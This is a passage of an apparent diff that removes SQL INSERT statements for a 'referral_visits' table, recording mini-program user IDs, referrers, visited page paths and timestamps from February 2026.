'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (45, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (46, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (47, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (48, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:39'); -INSERT INTO `referral_visits` VALUES (49, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (50, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (51, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (52, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:11:54'); -INSERT INTO `referral_visits` VALUES (53, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 16:13:05'); -INSERT INTO `referral_visits` VALUES (54, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 16:13:05'); -INSERT INTO `referral_visits` VALUES (55, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (56, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', '', '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (57, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (58, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (59, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (60, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, 'miniprogram', NULL, '2026-02-05 17:25:38'); -INSERT INTO `referral_visits` VALUES (61, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'user_1768863132784', NULL, 'miniprogram', '', '2026-02-05 17:25:41'); -INSERT INTO `referral_visits` VALUES (62, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'user_1768863132784', NULL, 'miniprogram', '', '2026-02-05 17:25:41'); -INSERT INTO `referral_visits` VALUES (63, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'user_1768863132784', NULL, 'miniprogram', 'pages/read/read', '2026-02-05 17:25:41'); -INSERT INTO `referral_visits` VALUES (64, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:13:49'); -INSERT INTO `referral_visits` VALUES (65, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:13:50'); -INSERT INTO `referral_visits` VALUES (66, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/index/index', '2026-02-11 09:13:50'); -INSERT INTO `referral_visits` VALUES (67, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:14:12'); -INSERT INTO `referral_visits` VALUES (68, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 09:14:12'); -INSERT INTO `referral_visits` VALUES (69, 'ogpTW5e81MmBNgOqBZD72ECSFqP0', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/index/index', '2026-02-11 09:14:12'); -INSERT INTO `referral_visits` VALUES (70, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:08:50'); -INSERT INTO `referral_visits` VALUES (71, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:08:50'); -INSERT INTO `referral_visits` VALUES (72, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:09:47'); -INSERT INTO `referral_visits` VALUES (73, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', NULL, '2026-02-11 10:09:47'); -INSERT INTO `referral_visits` VALUES (74, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 10:10:08'); -INSERT INTO `referral_visits` VALUES (75, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 10:10:08'); -INSERT INTO `referral_visits` VALUES (76, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 10:10:21'); -INSERT INTO `referral_visits` VALUES (77, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-11 10:10:21'); -INSERT INTO `referral_visits` VALUES (78, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-11 10:18:47'); -INSERT INTO `referral_visits` VALUES (79, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 10:18:47'); -INSERT INTO `referral_visits` VALUES (80, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 10:18:47'); -INSERT INTO `referral_visits` VALUES (81, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 10:20:01'); -INSERT INTO `referral_visits` VALUES (82, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 10:20:01'); -INSERT INTO `referral_visits` VALUES (83, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-11 10:20:01'); -INSERT INTO `referral_visits` VALUES (84, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 12:33:45'); -INSERT INTO `referral_visits` VALUES (85, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-11 12:33:45'); -INSERT INTO `referral_visits` VALUES (86, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-11 12:33:45'); -INSERT INTO `referral_visits` VALUES (87, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 12:34:14'); -INSERT INTO `referral_visits` VALUES (88, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-11 12:34:14'); -INSERT INTO `referral_visits` VALUES (89, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-11 12:34:14'); -INSERT INTO `referral_visits` VALUES (90, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-11 12:34:26'); -INSERT INTO `referral_visits` VALUES (91, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-11 23:32:41'); -INSERT INTO `referral_visits` VALUES (92, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-11 23:32:41'); -INSERT INTO `referral_visits` VALUES (93, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-11 23:56:39'); -INSERT INTO `referral_visits` VALUES (94, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-11 23:56:39'); -INSERT INTO `referral_visits` VALUES (95, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-11 23:56:39'); -INSERT INTO `referral_visits` VALUES (96, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 00:16:38'); -INSERT INTO `referral_visits` VALUES (97, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 00:16:38'); -INSERT INTO `referral_visits` VALUES (98, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 00:16:38'); -INSERT INTO `referral_visits` VALUES (99, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/chapters/chapters', '2026-02-12 02:03:43'); -INSERT INTO `referral_visits` VALUES (100, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 02:03:43'); -INSERT INTO `referral_visits` VALUES (101, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-12 02:25:42'); -INSERT INTO `referral_visits` VALUES (102, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-12 02:25:43'); -INSERT INTO `referral_visits` VALUES (103, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-12 02:25:43'); -INSERT INTO `referral_visits` VALUES (104, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/my/my', '2026-02-12 02:29:24'); -INSERT INTO `referral_visits` VALUES (105, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-02-12 02:29:24'); -INSERT INTO `referral_visits` VALUES (106, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 03:35:49'); -INSERT INTO `referral_visits` VALUES (107, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 03:35:49'); -INSERT INTO `referral_visits` VALUES (108, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 03:35:49'); -INSERT INTO `referral_visits` VALUES (109, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 08:29:53'); -INSERT INTO `referral_visits` VALUES (110, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 08:29:53'); -INSERT INTO `referral_visits` VALUES (111, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:29:53'); -INSERT INTO `referral_visits` VALUES (112, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:30:16'); -INSERT INTO `referral_visits` VALUES (113, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:37:30'); -INSERT INTO `referral_visits` VALUES (114, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:43:32'); -INSERT INTO `referral_visits` VALUES (115, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 08:43:32'); -INSERT INTO `referral_visits` VALUES (116, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/my/my', '2026-02-12 10:35:12'); -INSERT INTO `referral_visits` VALUES (117, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:35:12'); -INSERT INTO `referral_visits` VALUES (118, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:35:16'); -INSERT INTO `referral_visits` VALUES (119, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:35:16'); -INSERT INTO `referral_visits` VALUES (120, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:35:16'); -INSERT INTO `referral_visits` VALUES (121, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:36:42'); -INSERT INTO `referral_visits` VALUES (122, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', NULL, '2026-02-12 10:36:42'); -INSERT INTO `referral_visits` VALUES (123, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:42'); -INSERT INTO `referral_visits` VALUES (124, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:47'); -INSERT INTO `referral_visits` VALUES (125, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:48'); -INSERT INTO `referral_visits` VALUES (126, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/chapters/chapters', '2026-02-12 10:36:48'); -INSERT INTO `referral_visits` VALUES (127, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:54'); -INSERT INTO `referral_visits` VALUES (128, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:54'); -INSERT INTO `referral_visits` VALUES (129, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:56'); -INSERT INTO `referral_visits` VALUES (130, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/read/read', '2026-02-12 10:36:56'); -INSERT INTO `referral_visits` VALUES (131, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:37:12'); -INSERT INTO `referral_visits` VALUES (132, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:37:12'); -INSERT INTO `referral_visits` VALUES (133, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:49'); -INSERT INTO `referral_visits` VALUES (134, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:50'); -INSERT INTO `referral_visits` VALUES (135, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:51'); -INSERT INTO `referral_visits` VALUES (136, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'miniprogram', 'pages/read/read', '2026-02-12 10:43:51'); -INSERT INTO `referral_visits` VALUES (137, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'miniprogram', 'pages/index/index', '2026-02-12 10:52:06'); -INSERT INTO `referral_visits` VALUES (138, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 10:55:16'); -INSERT INTO `referral_visits` VALUES (139, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 10:55:16'); -INSERT INTO `referral_visits` VALUES (140, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 10:55:16'); -INSERT INTO `referral_visits` VALUES (141, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 10:55:23'); -INSERT INTO `referral_visits` VALUES (142, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 10:55:23'); -INSERT INTO `referral_visits` VALUES (143, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 13:22:58'); -INSERT INTO `referral_visits` VALUES (144, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-12 13:22:58'); -INSERT INTO `referral_visits` VALUES (145, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-12 13:22:58'); -INSERT INTO `referral_visits` VALUES (146, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-13 15:09:44'); -INSERT INTO `referral_visits` VALUES (147, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-13 15:09:44'); -INSERT INTO `referral_visits` VALUES (148, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'miniprogram', NULL, '2026-02-13 23:52:36'); -INSERT INTO `referral_visits` VALUES (149, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'miniprogram', NULL, '2026-02-13 23:52:36'); -INSERT INTO `referral_visits` VALUES (150, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'ogpTW5ZtuvQ6ZHyCDvmZKSld8F7w', 'miniprogram', 'pages/read/read', '2026-02-13 23:52:36'); -INSERT INTO `referral_visits` VALUES (151, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-14 01:55:49'); -INSERT INTO `referral_visits` VALUES (152, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-14 01:55:49'); -INSERT INTO `referral_visits` VALUES (153, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-14 01:55:49'); -INSERT INTO `referral_visits` VALUES (154, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', NULL, '2026-02-15 06:02:52'); -INSERT INTO `referral_visits` VALUES (155, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', 'pages/read/read', '2026-02-15 06:02:52'); -INSERT INTO `referral_visits` VALUES (156, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', NULL, '2026-02-15 06:02:52'); -INSERT INTO `referral_visits` VALUES (157, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'miniprogram', 'pages/read/read', '2026-02-15 06:06:16'); -INSERT INTO `referral_visits` VALUES (158, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:11:28'); -INSERT INTO `referral_visits` VALUES (159, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:11:28'); -INSERT INTO `referral_visits` VALUES (160, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:12:01'); -INSERT INTO `referral_visits` VALUES (161, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-16 00:12:05'); -INSERT INTO `referral_visits` VALUES (162, 